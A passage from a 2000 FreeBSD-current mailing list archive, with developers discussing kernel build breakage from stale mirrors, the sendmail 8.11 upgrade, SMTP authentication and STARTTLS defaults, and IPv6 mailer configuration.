disabling DMA for > > ATAPI devices in my kernel config file to no avail. > > Seems I didnt' get enough sleep for that last commit, try it now > after the latest fix (atapi-cd.c r1.62)... Works OK now. Thanks. -- - Donn To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 4:32:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from gidora.zeta.org.au (gidora.zeta.org.au [203.26.10.25]) by hub.freebsd.org (Postfix) with SMTP id 68CA037B558 for ; Sun, 13 Aug 2000 04:32:50 -0700 (PDT) (envelope-from bde@zeta.org.au) Received: (qmail 16290 invoked from network); 13 Aug 2000 11:32:42 -0000 Received: from unknown (HELO bde.zeta.org.au) (203.2.228.102) by gidora.zeta.org.au with SMTP; 13 Aug 2000 11:32:42 -0000 Date: Sun, 13 Aug 2000 21:32:37 +1000 (EST) From: Bruce Evans X-Sender: bde@besplex.bde.org To: Gregory Neil Shapiro Cc: Doug Barton , freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <14742.24207.71858.539724@horsey.gshapiro.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 Aug 2000, Gregory Neil Shapiro wrote: > DougB> I'm seeing a small problem with up to the minute sources in the install > DougB> phase: > > DougB> + cp /etc/aliases /etc/mail/aliases > DougB> cp: not found > DougB> *** Error code 127 > > That is odd considering the step right before it uses 'mv' which is located > in /bin/ (where 'cp' also lives). I assumed that if mv worked, cp would as > well. This is because /bin is not in $PATH at install time. `mv' is actually located in ${TMPDIR}/install.$$. `cp' is not there, although `cp' is used to put `mv' there, since it would be a bug to use `cp' instead of ${INSTALL} to install things after `install' is bootstrapped. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 4:49:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from daemon.solid.se (daemon.solid.se [193.15.190.194]) by hub.freebsd.org (Postfix) with ESMTP id AE37537B558; Sun, 13 Aug 2000 04:49:36 -0700 (PDT) (envelope-from johan@granlund.nu) Received: from phoenix.granlund.nu (t5o90p81.telia.com [213.64.7.81]) (authenticated) by daemon.solid.se (8.10.1/8.10.1) with ESMTP id e7DBnWm01022; Sun, 13 Aug 2000 13:49:33 +0200 (CEST) Received: from localhost (johan@localhost) by phoenix.granlund.nu (8.10.1/8.10.1) with ESMTP id e7DBnIA88239; Sun, 13 Aug 2000 13:49:20 +0200 (CEST) Date: Sun, 13 Aug 2000 13:49:18 +0200 (CEST) From: Johan Granlund To: Gregory Neil Shapiro Cc: "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <14741.55147.202130.156007@horsey.gshapiro.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 12 Aug 2000, Gregory Neil Shapiro wrote: > hetzels> Sendmail 8.11 has the ablity to due secure authentication with > hetzels> mail clients when compiled with Cyrus-SASL. > > hetzels> Will the Cyrus-SASL library be imported to provide this > hetzels> capability? Or at least a make.conf variable. > > My first step in the process was to get sendmail up-to-date. Once it is > MFC'ed to STABLE, I'll look at enhancements. After September 21, I want to > turn on STARTTLS support. I'm not sure about importing SASL -- I might be > convinced to put in Makefile support if it happens to already been > installed via ports. I think we have to support rfc2554 autenthication (With MECH LOGIN for Outlook) out of the box if we are serius about mailserver and security. Sendmail 8.9 closed relaying and created a problem with mobile users. This is the standard solution on that problem. Support for autentication is more important than STARTTLS in my opinion but the problem is we have to import another supportlibrary in the base system. A make.conf knob to use a userinstalled library may create problems with different versions of Cysus-SASL. I had some problems with that when uppgrading my mailservers to Sendmail 8.10. /Johan > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 7:59: 1 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id BA2A037B83E; Sun, 13 Aug 2000 07:58:15 -0700 (PDT) (envelope-from ume@mahoroba.org) Received: from localhost (IDENT:2k3bNV2O1HYs3FMFsGkFtFoRJn6cqgjDb/UPvvUk6TbCKn1+WZjHSJ912Xm5NpMt@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7DEvZL00978; Sun, 13 Aug 2000 23:57:35 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Sun, 13 Aug 2000 23:57:32 +0900 (JST) Message-Id: <20000813.235732.59463473.ume@mahoroba.org> To: gshapiro@freebsd.org Cc: freebsd-current@freebsd.org Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current From: Hajimu UMEMOTO In-Reply-To: <14741.53848.763058.787717@horsey.gshapiro.net> References: <14741.53848.763058.787717@horsey.gshapiro.net> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Sat, 12 Aug 2000 15:40:24 -0700 (PDT) >>>>> Gregory Neil Shapiro said: gshapiro> sendmail has been updated from 8.9.3 to 8.11.0. Some of the more visible gshapiro> changes that may immediately affect your configuration include: gshapiro> - New default file locations from src/contrib/sendmail/cf/README gshapiro> - newaliases limited to root and trusted users gshapiro> - MSA port (587) turned on by default gshapiro> - New queue file naming system so can't go from 8.11 -> 8.9 gshapiro> - mail.local FreeBSD-only -b option changed to -B gshapiro> - FEATURE(`rbl') renamed to FEATURE(`dnsbl') gshapiro> - FEATURE(`nullclient') is more full featured gshapiro> - FEATURE(`nouucp') requires an argument: `reject' or `nospecial' gshapiro> - See src/contrib/sendmail/RELEASE_NOTES for more info Beacuse default confCW_FILE doesn't have -o option, freebsd.mc should have "define(`confCW_FILE', `-o /etc/mail/local-host-names)dnl" line. Unless this, /etc/mail/local-host-names will be mandatory. BTW, I love to see DAEMON_OPTIONS(`Name=MTA-v4, Family=inet')dnl DAEMON_OPTIONS(`Name=MTA-v6, Family=inet6')dnl lines. But, I know this requires IPv6 enabled kernel and to do this is difficult. NetBSD ships two version of sendmail.cf. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 8:36: 6 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 634C637B6B3; Sun, 13 Aug 2000 08:36:02 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA18524; Sun, 13 Aug 2000 09:36:01 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA08640; Sun, 13 Aug 2000 09:35:24 -0600 (MDT) Message-Id: <200008131535.JAA08640@harmony.village.org> To: obrien@FreeBSD.ORG Subject: Re: Build breakage (was: fail to compile kernel...) Cc: freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Sun, 13 Aug 2000 01:16:03 PDT." <20000813011603.B4215@dragon.nuxi.com> References: <20000813011603.B4215@dragon.nuxi.com> <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <14742.15675.412839.269577@guru.mired.org> <200008130714.BAA07153@harmony.village.org> Date: Sun, 13 Aug 2000 09:35:24 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000813011603.B4215@dragon.nuxi.com> "David O'Brien" writes: : On Sun, Aug 13, 2000 at 01:14:09AM -0600, Warner Losh wrote: : > : Won't the 'cvs diff' command tell you about such things? If not, : > : that's yet another argument for ditching cvs in favor of something : > : without so many flaws (like Perforce). : > : > Not when the files are in multiple different directories and you have : > mutliple patches cooking in your tree. I committed files in : > sys/pccard, but they depended on one in sys/dev/pccard which I : > honestly thought I'd checked in with an earlier newcard fix. I'd been : > running the patches long enough that I basically forgot. : : Which is why I keep a virgin src checkout and I CVSup (with "-i") right : after large commit and try building the code again in the virgin tree. Makes sense for a large commit. I try to do that after most big commits myself, or when things aren't inside the kernel. In this case, however, it wouldn't have saved much time. I made the commit and went to bed. The buildworld on the clean tree wouldn't have been ready for two hours and I was fast asleep by then. When I woke up, I had messages telling me of my mistake and fixed it then. If I had done a buildworld on a fresh tree, then I'd have done the same thing when I discovered it had failed in the morning... Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 8:37:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 6683237B6B3 for ; Sun, 13 Aug 2000 08:37:09 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA18532; Sun, 13 Aug 2000 09:37:08 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA08660; Sun, 13 Aug 2000 09:36:31 -0600 (MDT) Message-Id: <200008131536.JAA08660@harmony.village.org> To: Idea Receiver Subject: Re: fail to compile kernel... Cc: freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Sun, 13 Aug 2000 18:21:30 +1000." References: Date: Sun, 13 Aug 2000 09:36:31 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message Idea Receiver writes: : > In message Idea Receiver writes: : > : i have try to upgrade one of my 4.1 release to -current. : > : however, when i try to build the kernel, it failed as following : > : message. : > : > Upgrade your sources and try again. : > : > Warner : : cvsed this morning.... (8 hrs ago..) : and still doesnt work.. Where did you get your sources? As of 12:00 last night, the sources I grabbed from cvsup8 completed both a make buildworld and make buildkernel in a fresh tree. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 8:40: 7 2000 Delivered-To: freebsd-current@freebsd.org Received: from iclub.nsu.ru (iclub.nsu.ru [193.124.222.66]) by hub.freebsd.org (Postfix) with ESMTP id 8F13F37B6B8 for ; Sun, 13 Aug 2000 08:40:03 -0700 (PDT) (envelope-from semen@iclub.nsu.ru) Received: from localhost (semen@localhost) by iclub.nsu.ru (8.9.3/8.9.3) with ESMTP id WAA45678; Sun, 13 Aug 2000 22:39:46 +0700 (NSS) (envelope-from semen@iclub.nsu.ru) Date: Sun, 13 Aug 2000 22:39:45 +0700 (NSS) From: Ustimenko Semen To: Alexander Langer Cc: current@FreeBSD.ORG Subject: Re: mount_hpfs not built by default In-Reply-To: <20000812124522.A3026@cichlids.cichlids.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 12 Aug 2000, Alexander Langer wrote: > Hello! > > In PR docs/20369 it was mentioned that mount_hpfs isn't built by > default. > > Am I missing something? Why not? From the cvs-logs, it seems, it has > just been forgotten :) > However, I'm asking because maybe I missed a discussion back in > December. > I think there are too few people who really use HPFS. So it doesn't worth. Also, i'm not sure it's working at all. Sorry. I don't have HPFS partitions any more, so i even can't verify if it works. Bye. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 8:43:36 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1E07537B6B3 for ; Sun, 13 Aug 2000 08:43:32 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA18561; Sun, 13 Aug 2000 09:43:31 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA08725; Sun, 13 Aug 2000 09:42:54 -0600 (MDT) Message-Id: <200008131542.JAA08725@harmony.village.org> To: Mike Meyer Subject: Re: Build breakage (was: fail to compile kernel...) Cc: freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Sun, 13 Aug 2000 03:29:00 CDT." <14742.23628.110336.924637@guru.mired.org> References: <14742.23628.110336.924637@guru.mired.org> <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <200008130714.BAA07153@harmony.village.org> Date: Sun, 13 Aug 2000 09:42:54 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <14742.23628.110336.924637@guru.mired.org> Mike Meyer writes: : Hmm - you mean 'cvs diff' can't be pointed at sys to get a list of : everything you've touched? No, I mean that I have NEWCARD changes as well, that usually never get touched. And it is sometimes easy to get things confused. : I just now grabbed the latest sources, and got the following: Where did you get them? Before I sent the last mail message out I built the kernel on a fresh tree and kicked off a world build (which finished). : If it usually "just worked", it wouldn't be a problem. I expected to : have systems that would at times be a bit delicate for a time, or : require old kernels, or the like. What I *didn't* expect was that the : usual update procedure would be get new sources, watch the build fail, : fix it if possible, or post a note to -current and repeat the process : when someone claimed it was fixed. So we're down to stale sources at one of the mirrors, I think. My kernel tree here is completely clean and checked out from the my local cvs tree. Where do you get your sources from? What revision of src/sys/dev/pccard/card_if.m do you have? The following changed fixes it: revision 1.7 date: 2000/08/11 15:51:51; author: imp; state: Exp; lines: +8 -1 Define get_memory_offset method Which is Friday Morning MST (the time is GMT). Plenty of time for the mirrors to be updated. : That may be true - which would mean it wouldn't be any better than : FreeBSD has been for the past few months. Or any worse. On the other : hand, breaking the build on other projects I've worked on was : considered a major blunder. That doesn't seem to be the case here. That is the case here. Believe me. But sitting around pointing fingers after the problem has been fixed is usually not done. : > If you aren't a developer or have another compelling reason to track : > -current, track -stable. : : Well, I was hoping to chase out the last of the bugs in the usb modem : driver, and possibly try and recover some of the functionality lost : when the snd drivers quit working. But the latest version of the : former isn't in the tree yet, and new sound cards are cheaper than the : time to work on the latter (if only the documentation on pcm did and : didn't support were accurate). That was the justification for my : converting to -current in the first place. I figured I'd track : -current to make the lifes of the people actually committing the code : easier, but that seems sort of pointless. That's a compelling reason. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 8:49:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 4A91937B840 for ; Sun, 13 Aug 2000 08:49:28 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id JAA18578; Sun, 13 Aug 2000 09:49:11 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id JAA08769; Sun, 13 Aug 2000 09:48:35 -0600 (MDT) Message-Id: <200008131548.JAA08769@harmony.village.org> To: "Leif Neland" Subject: Re: Build breakage (was: fail to compile kernel...) Cc: "Mike Meyer" , freebsd-current@FreeBSD.ORG, "Idea Receiver" In-reply-to: Your message of "Sun, 13 Aug 2000 09:39:02 +0200." <06e001c004fa$39e94d60$0e00a8c0@neland.dk> References: <06e001c004fa$39e94d60$0e00a8c0@neland.dk> <14742.14082.837564.871879@guru.mired.org><200008130553.XAA06673@harmony.village.org> <14742.15675.412839.269577@guru.mired.org> Date: Sun, 13 Aug 2000 09:48:35 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <06e001c004fa$39e94d60$0e00a8c0@neland.dk> "Leif Neland" writes: : What if the machine building snapshots took a note of the time it cvsup'ped. : Then if the build succeded, it would append this date to a file. : We could then feed this date to our cvsup, to get a version which at least : compiled. Preliminary inidications are that this is a mirroring problem. If the last date mechanism was independent of the mirroring process, then the problem would still persist because the date given would be after the breakage. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 9:22:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from infidel.boolean.net (router.boolean.net [198.144.206.49]) by hub.freebsd.org (Postfix) with ESMTP id B213537B94E; Sun, 13 Aug 2000 09:22:08 -0700 (PDT) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (gypsy.boolean.net [198.144.202.243]) by infidel.boolean.net (8.9.3/8.9.3) with ESMTP id QAA21984; Sun, 13 Aug 2000 16:22:03 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> X-Sender: guru@router.boolean.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 13 Aug 2000 09:20:05 -0700 To: Johan Granlund From: "Kurt D. Zeilenga" Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current Cc: Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG In-Reply-To: References: <14741.55147.202130.156007@horsey.gshapiro.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 01:49 PM 8/13/00 +0200, Johan Granlund wrote: >I think we have to support rfc2554 autenthication (With MECH LOGIN for >Outlook) out of the box if we are serius about mailserver and security. If you're serious about security, you shouldn't support LOGIN (or PLAIN) unless adequate privacy protections are in place. If you're serious about standards, you won't support LOGIN. Given that OpenSSL is in the base system, there is little reason not to support BOTH StartTLS and SASL "out of the box". I would suggest the authentication defaults be relative secure, as in "noplain,noanonymous". This will force use of StartTLS to allow use of PLAIN/LOGIN mechanisms. >A make.conf knob to use a userinstalled library may create problems with >different versions of Cysus-SASL. I had some problems with that when >uppgrading my mailservers to Sendmail 8.10. I'd recommend bringing Cyrus-SASL into the base system eventually under the same rational used to bring OpenSSL in. Kurt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 9:41:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from peace.mahoroba.org (peace.calm.imasy.or.jp [202.227.26.34]) by hub.freebsd.org (Postfix) with ESMTP id A5C1737B8DA; Sun, 13 Aug 2000 09:41:18 -0700 (PDT) (envelope-from ume@mahoroba.org) Received: from localhost (IDENT:vyQkEcJcjv011TaVXKT7PjzlLu7bx6K29GW2RhwJDmsfcg025nO92/vejFKU743l@localhost [::1]) (authenticated) by peace.mahoroba.org (8.11.0/8.11.0/peace) with ESMTP/inet6 id e7DGeDb44291; Mon, 14 Aug 2000 01:40:13 +0900 (JST) (envelope-from ume@mahoroba.org) Date: Mon, 14 Aug 2000 01:40:09 +0900 (JST) Message-Id: <20000814.014009.55515200.ume@mahoroba.org> To: Kurt@OpenLDAP.org Cc: johan@granlund.nu, gshapiro@FreeBSD.ORG, hetzels@westbend.net, freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current From: Hajimu UMEMOTO In-Reply-To: <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> References: <14741.55147.202130.156007@horsey.gshapiro.net> <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> X-Mailer: xcite1.20> Mew version 1.95b38 on Emacs 20.6 / Mule 4.0 =?iso-2022-jp?B?KBskQjJWMWMbKEIp?= X-PGP-Public-Key: http://www.imasy.org/~ume/publickey.asc X-PGP-Fingerprint: 6B 0C 53 FC 5D D0 37 91 05 D0 B3 EF 36 9B 6A BC X-URL: http://www.imasy.org/~ume/ X-OS: FreeBSD 5.0-CURRENT Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> On Sun, 13 Aug 2000 09:20:05 -0700 >>>>> "Kurt D. Zeilenga" said: Kurt> At 01:49 PM 8/13/00 +0200, Johan Granlund wrote: >I think we have to support rfc2554 autenthication (With MECH LOGIN for >Outlook) out of the box if we are serius about mailserver and security. Kurt> If you're serious about security, you shouldn't support LOGIN (or PLAIN) Kurt> unless adequate privacy protections are in place. If you're serious Kurt> about standards, you won't support LOGIN. I think so. Further worse, once PLAIN is activated by sendmail, netscape try to use AUTH, in anyway. If the user isn't registered in SASL db, the user cannot send mail anymore. That is, once you decide to use PLAIN, you must register all of your users in SASL db. -- Hajimu UMEMOTO @ Internet Mutual Aid Society Yokohama, Japan ume@mahoroba.org ume@bisd.hitachi.co.jp ume@FreeBSD.org http://www.imasy.org/~ume/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 9:53:55 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns1.sunesi.net (ns1.sunesi.net [196.15.192.194]) by hub.freebsd.org (Postfix) with ESMTP id 238C137B545; Sun, 13 Aug 2000 09:53:49 -0700 (PDT) (envelope-from nbm@sunesi.net) Received: from nbm by ns1.sunesi.net with local (Exim 3.03 #1) id 13O10k-000KJU-00; Sun, 13 Aug 2000 18:53:22 +0200 Date: Sun, 13 Aug 2000 18:53:22 +0200 From: Neil Blakey-Milner To: "Kurt D. Zeilenga" Cc: Johan Granlund , Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current Message-ID: <20000813185322.A78063@mithrandr.moria.org> References: <14741.55147.202130.156007@horsey.gshapiro.net> <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <4.3.2.7.0.20000813091232.00af8800@router.boolean.net>; from Kurt@OpenLDAP.org on Sun, Aug 13, 2000 at 09:20:05AM -0700 Organization: Sunesi Clinical Systems X-Operating-System: FreeBSD 3.3-RELEASE i386 X-URL: http://rucus.ru.ac.za/~nbm/ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun 2000-08-13 (09:20), Kurt D. Zeilenga wrote: > >A make.conf knob to use a userinstalled library may create problems with > >different versions of Cysus-SASL. I had some problems with that when > >uppgrading my mailservers to Sendmail 8.10. > > I'd recommend bringing Cyrus-SASL into the base system eventually > under the same rational used to bring OpenSSL in. What are the license issues on this? Neil -- Neil Blakey-Milner Sunesi Clinical Systems nbm@mithrandr.moria.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 10:18:43 2000 Delivered-To: freebsd-current@freebsd.org Received: from daemon.solid.se (daemon.solid.se [193.15.190.194]) by hub.freebsd.org (Postfix) with ESMTP id B168F37B585; Sun, 13 Aug 2000 10:18:37 -0700 (PDT) (envelope-from johan@granlund.nu) Received: from phoenix.granlund.nu (t5o90p82.telia.com [213.64.7.82]) (authenticated) by daemon.solid.se (8.10.1/8.10.1) with ESMTP id e7DHIWm01326; Sun, 13 Aug 2000 19:18:33 +0200 (CEST) Received: from localhost (johan@localhost) by phoenix.granlund.nu (8.10.1/8.10.1) with ESMTP id e7DHIIM88664; Sun, 13 Aug 2000 19:18:20 +0200 (CEST) Date: Sun, 13 Aug 2000 19:18:18 +0200 (CEST) From: Johan Granlund To: "Kurt D. Zeilenga" Cc: Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <4.3.2.7.0.20000813091232.00af8800@router.boolean.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 13 Aug 2000, Kurt D. Zeilenga wrote: > At 01:49 PM 8/13/00 +0200, Johan Granlund wrote: > >I think we have to support rfc2554 autenthication (With MECH LOGIN for > >Outlook) out of the box if we are serius about mailserver and security. > > If you're serious about security, you shouldn't support LOGIN (or PLAIN) > unless adequate privacy protections are in place. If you're serious > about standards, you won't support LOGIN. Tell that to Microsoft! They only support LOGIN and the users (god bless them) won't change to another client. > > Given that OpenSSL is in the base system, there is little reason not > to support BOTH StartTLS and SASL "out of the box". I would suggest > the authentication defaults be relative secure, as in "noplain,noanonymous". > This will force use of StartTLS to allow use of PLAIN/LOGIN mechanisms. Works for me. I _have_ to keep OE5 working somehow until they start supporting a better mechanism, _Then_ i can ditch LOGIN. > > >A make.conf knob to use a userinstalled library may create problems with > >different versions of Cysus-SASL. I had some problems with that when > >uppgrading my mailservers to Sendmail 8.10. > > I'd recommend bringing Cyrus-SASL into the base system eventually > under the same rational used to bring OpenSSL in. I agree. /Johan > > Kurt > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 10:24:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from zibbi.mikom.csir.co.za (zibbi.mikom.csir.co.za [146.64.24.58]) by hub.freebsd.org (Postfix) with ESMTP id 9A91737BDD4; Sun, 13 Aug 2000 10:24:29 -0700 (PDT) (envelope-from jhay@zibbi.mikom.csir.co.za) Received: (from jhay@localhost) by zibbi.mikom.csir.co.za (8.10.1/8.10.1) id e7DHO9l17566; Sun, 13 Aug 2000 19:24:09 +0200 (SAT) From: John Hay Message-Id: <200008131724.e7DHO9l17566@zibbi.mikom.csir.co.za> Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <20000813.235732.59463473.ume@mahoroba.org> from Hajimu UMEMOTO at "Aug 13, 2000 11:57:32 pm" To: ume@mahoroba.org (Hajimu UMEMOTO) Date: Sun, 13 Aug 2000 19:24:09 +0200 (SAT) Cc: gshapiro@FreeBSD.ORG, freebsd-current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > BTW, I love to see > > DAEMON_OPTIONS(`Name=MTA-v4, Family=inet')dnl > DAEMON_OPTIONS(`Name=MTA-v6, Family=inet6')dnl > Yes that together with "CFLAGS+=-DNETINET6" in the sendmail/Makefile and I have a working ipv6 mailer going. There is just an annoying message because of the anycast address: Aug 13 16:38:47 angel sendmail[11947]: gethostbyaddr(3ffe:2900:fffa:4::) failed: 1 Is that because of a configuration error or just because sendmail needs to check for anycast addresses? The machine is also a router between a gif tunnel and this interface. My interface is configured like this: angel# ifconfig de0 de0: flags=8843 mtu 1500 inet 146.64.84.9 netmask 0xffffff00 broadcast 146.64.84.255 inet6 fe80::200:e8ff:fe15:dbed%de0 prefixlen 64 scopeid 0x1 inet6 3ffe:2900:fffa:4:200:e8ff:fe15:dbed prefixlen 64 inet6 3ffe:2900:fffa:4:: prefixlen 64 anycast ether 00:00:e8:15:db:ed media: 10baseT/UTP status: active supported media: 100baseTX 100baseTX 10base2/BNC 10baseT/UTP 10baseT/UTP John -- John Hay -- John.Hay@icomtek.csir.co.za To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 10:25:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 120C437BFA0 for ; Sun, 13 Aug 2000 10:25:05 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id KAA06611 for ; Sun, 13 Aug 2000 10:24:57 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id KAA01627; Sun, 13 Aug 2000 10:24:57 -0700 